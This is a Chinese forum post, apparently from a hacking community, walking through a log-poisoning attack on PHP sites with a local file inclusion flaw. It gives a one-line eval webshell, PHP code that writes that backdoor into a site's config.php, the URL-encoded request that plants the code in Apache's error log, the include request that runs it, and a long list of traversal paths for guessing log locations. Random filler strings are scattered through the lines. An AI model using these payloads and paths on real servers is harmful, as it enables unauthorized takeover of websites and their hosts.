找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1997|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 7 l# Q/ h# Q4 O
4 S$ z) h( x$ M3 g+ X( M4 Y
比如还是这句一句话木马
0 d" F$ q1 _6 P<?eval($_POST[cmd]);?>   4 F2 }5 ?7 c5 }0 B

8 [- y# ^0 t( w! y到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
7 r8 P% w" `1 X# Hfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 $ U# b: T$ O2 m/ x0 F* K" S. C

- u( W" M- t# z) ?2 p4 \<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 1 o. B7 P+ [1 |/ q( g0 I$ e
fclose($fp);?>   //在config.php里写入一句木马语句
' ^% I. R# q* Q. }( m( A2 G1 n( g) z& l& T
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
+ w2 n. {3 |/ I) F1 Q转换为   A7 ~: I6 ]. X4 Q$ h  ]
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
! q+ P$ D8 i7 T! ~: uconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp : n$ B, r3 [6 k" S$ M, A! p' ]/ c/ z
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
- b' E& V/ B. Y; ~" K" D/ }7 A3 Gfclose%28%24fp%29%3B%3F%3E + j* K" |% L. ]4 ?7 o" j
我们提交 ( o3 r/ ~! ?7 g! M* [
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
; B5 w$ K; A" `%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
9 H& h5 _1 Z. x2 D4 X%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
0 q+ T( Y2 i) K5 m6 |6 X- mcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
; O# t2 u0 H# [+ k: i3 O# [. Y; u; R: y" N' a
这样就错误日志里就记录下了这行写入webshell的代码。
4 C6 A, H) `- ?& f' R我们再来包含日志,提交
  t8 [7 r/ a6 f0 P2 H3 @http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
' n$ G0 b: n. b! E. B
1 s' R  Q: P% C! Y- |2 O0 B这样webshell就写入成功了,config.php里就写入一句木马语句 $ A' f* v# d4 F& m
OK.
! D) ~8 J+ K- q* s# `6 Qhttp://www.xxx.com/forum/config.php这个就成了我们的webshell ; Z% |& S$ y4 N6 P. Q
直接用lanker的客户端一连,主机就是你的了。
- ]( ^' R% `( d, J& u- r! f) X$ _) f3 S/ H7 ?
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
  h; c4 |0 K: ~2 K6 E% e0 H4 A: s9 }- S3 P3 z6 ]
其他的日志路径,你可以去猜,也可以参照这里。 / W* Q6 j8 F: s& E' b* D
../../../../../../../../../../var/log/httpd/access_log
/ f" p# V0 U) b1 X- V; V& A: I7 _../../../../../../../../../../var/log/httpd/error_log # {! H8 e3 t/ v. w
../apache/logs/error.log ) N) `- o9 ]; j1 c' G7 u
../apache/logs/access.log
; l0 M2 Q. r+ p6 Y; o7 m% D../../apache/logs/error.log
  b( s, n, m( v. ^7 x../../apache/logs/access.log
* P. {1 e* N3 A% W2 A7 K3 p; I../../../apache/logs/error.log
, o3 K2 T5 O: Z7 w7 W" A. f../../../apache/logs/access.log & w7 Q0 g- y) w0 E. d% i
../../../../../../../../../../etc/httpd/logs/acces_log " j9 c( m4 i+ W) K
../../../../../../../../../../etc/httpd/logs/acces.log
6 \1 p- `8 H9 ?( G! u& c../../../../../../../../../../etc/httpd/logs/error_log 4 S: x: N: V3 b: D' f
../../../../../../../../../../etc/httpd/logs/error.log ! r# U0 W& h' m+ L2 E
../../../../../../../../../../var/www/logs/access_log
6 Y/ [6 Z$ d$ w' f9 q( O& d../../../../../../../../../../var/www/logs/access.log ; @* @7 s+ j; N) t& j' Z) B6 l
../../../../../../../../../../usr/local/apache/logs/access_log
  [  a2 o" U$ J3 Z3 k+ t../../../../../../../../../../usr/local/apache/logs/access.log 3 G! g/ b" Z/ G! L, A0 d0 N: Q8 Z
../../../../../../../../../../var/log/apache/access_log : V0 t' K2 l; B9 r7 @- r7 p
../../../../../../../../../../var/log/apache/access.log + n2 s) \4 A2 i0 V' M; h7 L
../../../../../../../../../../var/log/access_log
9 @! H, x" j( W, \3 x4 ~8 J../../../../../../../../../../var/www/logs/error_log 6 M. N/ x+ O6 v, Z1 p- `
../../../../../../../../../../var/www/logs/error.log
2 q  A9 b: e9 e' W../../../../../../../../../../usr/local/apache/logs/error_log ' s5 T2 W5 N* D/ j5 \0 z
../../../../../../../../../../usr/local/apache/logs/error.log
7 o4 k% ^0 X/ u8 t- ?, Y2 N../../../../../../../../../../var/log/apache/error_log
0 y+ D# A5 ^8 y! S' n+ a1 M1 Y../../../../../../../../../../var/log/apache/error.log ' `& k$ d+ e5 v' b
../../../../../../../../../../var/log/access_log 0 _1 N# x' w* w0 j
../../../../../../../../../../var/log/error_log 6 R& V, \7 W* U4 `& Z: R3 u
/var/log/httpd/access_log       % ~' }# v/ I; H% ^; l  t! _  ?
/var/log/httpd/error_log     
; Z" i$ a7 a4 P/ N: C../apache/logs/error.log     5 P4 _3 p/ e, M! Q
../apache/logs/access.log 9 i: C# L. }* `0 o" ]5 m" a
../../apache/logs/error.log
; w. C, ^" r) ^$ c* Z* S../../apache/logs/access.log 4 v3 [5 l0 V: x: |1 J
../../../apache/logs/error.log
+ n+ T- {- f! w  I6 v: S+ u../../../apache/logs/access.log ' k/ r; K' F  y% r
/etc/httpd/logs/acces_log 8 R% u# w, e) \/ n4 n
/etc/httpd/logs/acces.log
& v( a( o* c7 |  g0 N8 S# g$ Z5 I/etc/httpd/logs/error_log
# \( |+ `2 @$ t1 K: d) ^& L/etc/httpd/logs/error.log
! ~5 K% D$ g0 }( C1 k0 I/var/www/logs/access_log ! E/ U5 g; {9 h+ M
/var/www/logs/access.log
, g+ J: Z. e; [' n/usr/local/apache/logs/access_log / p# O) Q+ t/ h% }0 x
/usr/local/apache/logs/access.log 1 h+ {% }: E7 M
/var/log/apache/access_log 3 W! e5 S3 i3 ?
/var/log/apache/access.log ! q7 `1 ^& n) E3 [& G
/var/log/access_log " N7 X) a7 P& Z, ~( f: V; g9 T# q
/var/www/logs/error_log
* W3 k. x# ^! T6 y' i0 k4 \/var/www/logs/error.log
2 W" ~+ j) k2 i$ Y- |" c7 e' v! ~/usr/local/apache/logs/error_log
: r* s! h! J3 Q* E/usr/local/apache/logs/error.log
. F% j. k5 J1 P, X9 R3 i" E; ^" p/var/log/apache/error_log
5 d: f5 e) h4 M. L2 l! k/var/log/apache/error.log
1 G3 G  [5 K( N7 T# D# v/var/log/access_log 5 p: z0 }9 C7 C7 [, x8 U* {
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表